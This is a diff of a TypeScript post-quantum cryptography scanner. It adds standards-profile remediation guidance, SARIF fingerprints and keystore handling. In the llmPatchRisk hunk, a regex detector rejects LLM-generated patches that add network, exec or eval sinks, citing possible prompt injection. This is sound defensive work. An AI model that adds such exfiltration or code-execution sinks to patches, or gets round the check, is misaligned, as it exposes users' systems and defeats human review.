`|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
|
|
63
|
+
`|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
|
|
64
|
+
`|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
|
|
65
|
+
"g",
|
|
66
|
+
);
|
|
67
|
+
/** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
|
|
68
|
+
const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
|
|
57
69
|
|
|
58
70
|
/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
|
|
59
71
|
* is localized; a sprawling rewrite is not reviewable as "just the fix". */
|
|
60
|
-
|
|
72
|
+
const LLM_PATCH_MAX_CHANGED_LINES = 60;
|
|
61
73
|
|
|
62
74
|
function countMatches(re: RegExp, s: string): number {
|
|
63
75
|
return (s.match(re) ?? []).length;
|
|
@@ -81,6 +93,17 @@ function changedLineCount(before: string, after: string): number {
|
|
|
81
93
|
|
|
82
94
|
/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
|
|
83
95
|
function llmPatchRisk(before: string, patch: Patch): string | null {
|
|
96
|
+
// Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
|
|
97
|
+
// count: it catches a sink SWAPPED into a file that already had one, and does
|
|
98
|
+
// not depend on the total count rising (trimmed line-set membership).
|
|
99
|
+
const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
|
|
100
|
+
const addsSink = patch.newContent
|
|
101
|
+
.split("\n")
|
|
102
|
+
.some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
|
|
103
|
+
if (addsSink) {
|
|
104
|
+
return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
|
|
105
|
+
}
|
|
106
|
+
// Backstop: the total sink count must not rise either.
|
|
84
107
|
if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
|
|
85
108
|
return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
|
|
86
109
|
}
|
package/src/remediation.ts
CHANGED
|
@@ -6,6 +6,7 @@
|
|
|
6
6
|
* standards to track are captured in {@link PQC_TRANSITION_NOTE}.
|
|
7
7
|
*/
|
|
8
8
|
import type { AlgorithmFamily, Remediation } from "./types.js";
|
|
9
|
+
import type { StandardsProfile } from "./standards-profiles.js";
|
|
9
10
|
|
|
10
11
|
/** Canonical remediation table, keyed by algorithm family. */
|
|
11
12
|
const REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {
|
|
@@ -188,6 +189,44 @@ export function remediationForTier(
|
|
|
188
189
|
};
|
|
189
190
|
}
|
|
190
191
|
|
|
192
|
+
/**
|
|
193
|
+
* Regime-aware remediation. Composes the base family guidance with a
|
|
194
|
+
* {@link StandardsProfile}'s parameter sets, HYBRID STANCE, and deprecation
|
|
195
|
+
* deadlines, so an ANSSI/BSI audience is told hybrid is *required* while a CNSA 2.0
|
|
196
|
+
* audience is told it is *optional* (and pointed at the 1024-level hybrid). This is
|
|
197
|
+
* the profile-driven successor to {@link remediationForTier}; `--tier category-5`
|
|
198
|
+
* resolves to the `cnsa-2.0` profile.
|
|
199
|
+
*/
|
|
200
|
+
export function remediationForProfile(
|
|
201
|
+
algorithm: AlgorithmFamily,
|
|
202
|
+
profile: StandardsProfile,
|
|
203
|
+
): Remediation {
|
|
204
|
+
const base = REMEDIATIONS[algorithm];
|
|
205
|
+
const isConf = isConfidentialityFamily(algorithm);
|
|
206
|
+
const primary = isConf ? profile.paramSets.kem : profile.paramSets.signature;
|
|
207
|
+
// The hybrid stance governs KEY ESTABLISHMENT, so it is surfaced for confidentiality
|
|
208
|
+
// families; signature families migrate to a stateless PQC signer directly.
|
|
209
|
+
const stanceWord =
|
|
210
|
+
profile.hybridStance === "required"
|
|
211
|
+
? "hybrid required"
|
|
212
|
+
: profile.hybridStance === "recommended"
|
|
213
|
+
? "hybrid recommended"
|
|
214
|
+
: "hybrids optional";
|
|
215
|
+
const recommendation = isConf
|
|
216
|
+
? `${primary} — ${profile.name}: ${stanceWord}`
|
|
217
|
+
: `${primary} — ${profile.name}`;
|
|
218
|
+
const hybridClause = isConf ? ` ${profile.hybridGuidance}` : "";
|
|
219
|
+
return {
|
|
220
|
+
algorithm,
|
|
221
|
+
recommendation,
|
|
222
|
+
detail:
|
|
223
|
+
`${base.detail} Under ${profile.name} (${profile.citation}), use ${profile.paramSets.kem} for ` +
|
|
224
|
+
`key establishment and ${profile.paramSets.signature} for signatures; classical public-key ` +
|
|
225
|
+
`crypto is deprecated after ${profile.deprecateAfter} and disallowed after ${profile.disallowAfter}.` +
|
|
226
|
+
hybridClause,
|
|
227
|
+
};
|
|
228
|
+
}
|
|
229
|
+
|
|
191
230
|
/**
|
|
192
231
|
* Guidance for stateful hash-based signatures (SP 800-208: LMS / XMSS / HSS).
|
|
193
232
|
* These are NIST-approved for firmware / boot signing but are STATEFUL — each
|
package/src/report.ts
CHANGED
|
@@ -7,8 +7,10 @@ import type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from ".
|
|
|
7
7
|
import { VERSION } from "./version.js";
|
|
8
8
|
import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
|
|
9
9
|
import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
|
|
10
|
-
import { remediationFor, remediationForTier } from "./remediation.js";
|
|
10
|
+
import { remediationFor, remediationForTier, remediationForProfile } from "./remediation.js";
|
|
11
11
|
import type { SecurityTier } from "./remediation.js";
|
|
12
|
+
import type { StandardsProfile } from "./standards-profiles.js";
|
|
13
|
+
import { fingerprintFinding } from "./baseline.js";
|
|
12
14
|
|
|
13
15
|
/** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
|
|
14
16
|
export interface SarifLog {
|
|
@@ -162,6 +164,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
|
|
|
162
164
|
ruleIndex: ruleIndex.get(f.ruleId),
|
|
163
165
|
level: sarifLevel(f.severity),
|
|
164
166
|
message: { text: f.message },
|
|
167
|
+
// Line-INSENSITIVE fingerprint (the same one the baseline uses:
|
|
168
|
+
// sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
|
|
169
|
+
// alert identity + dedup off partialFingerprints, so a finding survives
|
|
170
|
+
// line shifts and reformatting instead of re-alerting as "new" on every
|
|
171
|
+
// edit above it. `quantakrypto/v1` names our scheme.
|
|
172
|
+
partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
|
|
165
173
|
properties: {
|
|
166
174
|
category: f.category,
|
|
167
175
|
severity: f.severity,
|
|
@@ -468,3 +476,37 @@ export function formatTierGuidance(
|
|
|
468
476
|
}
|
|
469
477
|
return out;
|
|
470
478
|
}
|
|
479
|
+
|
|
480
|
+
/**
|
|
481
|
+
* Per-family migration targets tailored to a selected {@link StandardsProfile}
|
|
482
|
+
* (`--profile`). Unlike {@link formatTierGuidance} (CNSA-tier only), this surfaces the
|
|
483
|
+
* regime's parameter sets AND its hybrid stance — required (ANSSI/BSI) vs recommended
|
|
484
|
+
* (NIST/NCSC) vs optional (CNSA 2.0) — so guidance isn't regime-wrong. Returns plain
|
|
485
|
+
* (un-coloured) lines; the caller styles them.
|
|
486
|
+
*/
|
|
487
|
+
export function formatProfileGuidance(
|
|
488
|
+
byAlgorithm: Record<string, number>,
|
|
489
|
+
profile: StandardsProfile,
|
|
490
|
+
): string[] {
|
|
491
|
+
const out: string[] = [`${profile.name} migration targets:`];
|
|
492
|
+
const seen = new Set<string>();
|
|
493
|
+
for (const [k, n] of Object.entries(byAlgorithm)) {
|
|
494
|
+
if (n <= 0) continue;
|
|
495
|
+
const fam = k as AlgorithmFamily;
|
|
496
|
+
if (fam === "unknown" || !remediationFor(fam)) continue; // skip unmapped families
|
|
497
|
+
const rem = remediationForProfile(fam, profile);
|
|
498
|
+
if (seen.has(rem.recommendation)) continue;
|
|
499
|
+
seen.add(rem.recommendation);
|
|
500
|
+
out.push(` ${fam} → ${rem.recommendation}`);
|
|
501
|
+
}
|
|
502
|
+
const stance =
|
|
503
|
+
profile.hybridStance === "required"
|
|
504
|
+
? "requires classical+PQC hybridization"
|
|
505
|
+
: profile.hybridStance === "recommended"
|
|
506
|
+
? "recommends hybridization"
|
|
507
|
+
: "does not require hybridization";
|
|
508
|
+
out.push(
|
|
509
|
+
` ${profile.authority} ${stance}; classical public-key crypto disallowed after ${profile.disallowAfter} (${profile.citation}).`,
|
|
510
|
+
);
|
|
511
|
+
return out;
|
|
512
|
+
}
|
package/src/scan-worker.ts
CHANGED
|
@@ -15,7 +15,7 @@ import { parentPort, workerData } from "node:worker_threads";
|
|
|
15
15
|
import type { Finding } from "./types.js";
|
|
16
16
|
import { defaultRegistry } from "./registry.js";
|
|
17
17
|
import { detectFile } from "./scan.js";
|
|
18
|
-
import { looksMinified } from "./walk.js";
|
|
18
|
+
import { isKeystorePath, looksMinified } from "./walk.js";
|
|
19
19
|
import { isManifestFile } from "./dependencies.js";
|
|
20
20
|
|
|
21
21
|
interface WorkerToggles {
|
|
@@ -48,14 +48,16 @@ if (parentPort) {
|
|
|
48
48
|
|
|
49
49
|
for (const rel of req.files) {
|
|
50
50
|
const abs = path.join(baseDir, ...rel.split("/"));
|
|
51
|
+
// Keystores (.jks/.p12/…) are read byte-preserving (latin1); see scan.ts.
|
|
52
|
+
const keystore = isKeystorePath(rel);
|
|
51
53
|
let content: string;
|
|
52
54
|
try {
|
|
53
|
-
content = readFileSync(abs, "utf8");
|
|
55
|
+
content = readFileSync(abs, keystore ? "latin1" : "utf8");
|
|
54
56
|
} catch {
|
|
55
57
|
unreadable += 1;
|
|
56
58
|
continue;
|
|
57
59
|
}
|
|
58
|
-
if (!toggles.scanMinified && !isManifestFile(rel) && looksMinified(content)) {
|
|
60
|
+
if (!toggles.scanMinified && !isManifestFile(rel) && !keystore && looksMinified(content)) {
|
|
59
61
|
skippedMinified += 1;
|
|
60
62
|
continue;
|
|
61
63
|
}
|
package/src/scan.ts
CHANGED
|
@@ -13,7 +13,15 @@ import { readFile, stat } from "node:fs/promises";
|
|
|
13
13
|
import * as path from "node:path";
|
|
14
14
|
|
|
15
15
|
import type { Detector, Finding, ScanOptions, ScanResult } from "./types.js";
|
|
16
|
-
import {
|
|
16
|
+
import {
|
|
17
|
+
walkFiles,
|
|
18
|
+
toPosix,
|
|
19
|
+
isBinaryPath,
|
|
20
|
+
isKeystorePath,
|
|
21
|
+
looksMinified,
|
|
22
|
+
matchesAny,
|
|
23
|
+
DEFAULT_MAX_FILE_SIZE,
|
|
24
|
+
} from "./walk.js";
|
|
17
25
|
import { isAnalyzableSource } from "./detect-utils.js";
|
|
18
26
|
import {
|
|
19
27
|
stripCommentFindings,
|
|
@@ -26,7 +34,16 @@ import {
|
|
|
26
34
|
* A match inside a string (e.g. `t.Error("SigningMethodPS256 …")`) is prose and
|
|
27
35
|
* is dropped. Rules that legitimately match quoted tokens are NOT listed here.
|
|
28
36
|
*/
|
|
29
|
-
const CODE_ONLY_RULES: ReadonlySet<string> = new Set([
|
|
37
|
+
const CODE_ONLY_RULES: ReadonlySet<string> = new Set([
|
|
38
|
+
"go-jwt-signingmethod",
|
|
39
|
+
// Identifier-form JWT alg constants (jjwt `SignatureAlgorithm.RS256`, auth0
|
|
40
|
+
// `Algorithm.RSA256`, C# `SecurityAlgorithms.*`, Rust `Algorithm::RS256`). Like the
|
|
41
|
+
// Go rule, these are only meaningful as code; the SAME token inside a string literal
|
|
42
|
+
// (an error message that names/forbids the alg) is prose, not a usage.
|
|
43
|
+
"java-jwt-alg",
|
|
44
|
+
"csharp-jwt-alg",
|
|
45
|
+
"rust-jwt-algorithm",
|
|
46
|
+
]);
|
|
30
47
|
import { hashContent, loadCache, rulesetFingerprint, saveCache } from "./cache.js";
|
|
31
48
|
import type { CacheEntry } from "./cache.js";
|
|
32
49
|
import { builtinDetectors, defaultRegistry, detectorScope } from "./registry.js";
|
|
@@ -169,23 +186,41 @@ export async function scan(options: ScanOptions): Promise<ScanResult> {
|
|
|
169
186
|
|
|
170
187
|
options.onFile?.(reportedPath);
|
|
171
188
|
|
|
189
|
+
// Cryptographic keystores (.jks/.p12/…) are binary; read them byte-preserving
|
|
190
|
+
// (latin1) so the keystore detector can inspect magic bytes.
|
|
191
|
+
const keystore = isKeystorePath(reportedPath);
|
|
192
|
+
// Keystores are read whole into memory as latin1. The walker already caps file
|
|
193
|
+
// size, but the explicit-file-list (incremental) path does not — so stat and
|
|
194
|
+
// skip an oversized binary here to avoid reading a huge encrypted archive
|
|
195
|
+
// (`.gpg`) into a string.
|
|
196
|
+
if (keystore) {
|
|
197
|
+
try {
|
|
198
|
+
const { size } = await stat(absPath);
|
|
199
|
+
if (size > (options.maxFileSize ?? DEFAULT_MAX_FILE_SIZE)) continue;
|
|
200
|
+
} catch {
|
|
201
|
+
unreadable += 1;
|
|
202
|
+
continue;
|
|
203
|
+
}
|
|
204
|
+
}
|
|
172
205
|
let content: string;
|
|
173
206
|
try {
|
|
174
|
-
content = await readFile(absPath, "utf8");
|
|
207
|
+
content = await readFile(absPath, keystore ? "latin1" : "utf8");
|
|
175
208
|
} catch {
|
|
176
209
|
unreadable += 1; // permissions / vanished / decode failure — tracked, not silent.
|
|
177
210
|
continue;
|
|
178
211
|
}
|
|
179
212
|
|
|
180
213
|
// Skip machine-minified / generated content (unless explicitly enabled).
|
|
181
|
-
// Manifests are always scanned
|
|
182
|
-
if (!scanMinified && !isManifestFile(reportedPath) && looksMinified(content)) {
|
|
214
|
+
// Manifests and keystores are always scanned.
|
|
215
|
+
if (!scanMinified && !isManifestFile(reportedPath) && !keystore && looksMinified(content)) {
|
|
183
216
|
skippedMinified += 1;
|
|
184
217
|
continue;
|
|
185
218
|
}
|
|
186
219
|
|
|
187
220
|
// Cumulative-byte budget: enforced once this file's bytes are accounted for.
|
|
188
|
-
|
|
221
|
+
// Use the read encoding so a latin1 keystore is counted at its on-disk size
|
|
222
|
+
// (a utf8 byteLength would double-count every byte ≥ 0x80).
|
|
223
|
+
bytesScanned += Buffer.byteLength(content, keystore ? "latin1" : "utf8");
|
|
189
224
|
if (typeof maxBytes === "number" && bytesScanned > maxBytes) {
|
|
190
225
|
throw new BudgetExceededError(`maxBytes budget exceeded (limit: ${maxBytes}).`);
|
|
191
226
|
}
|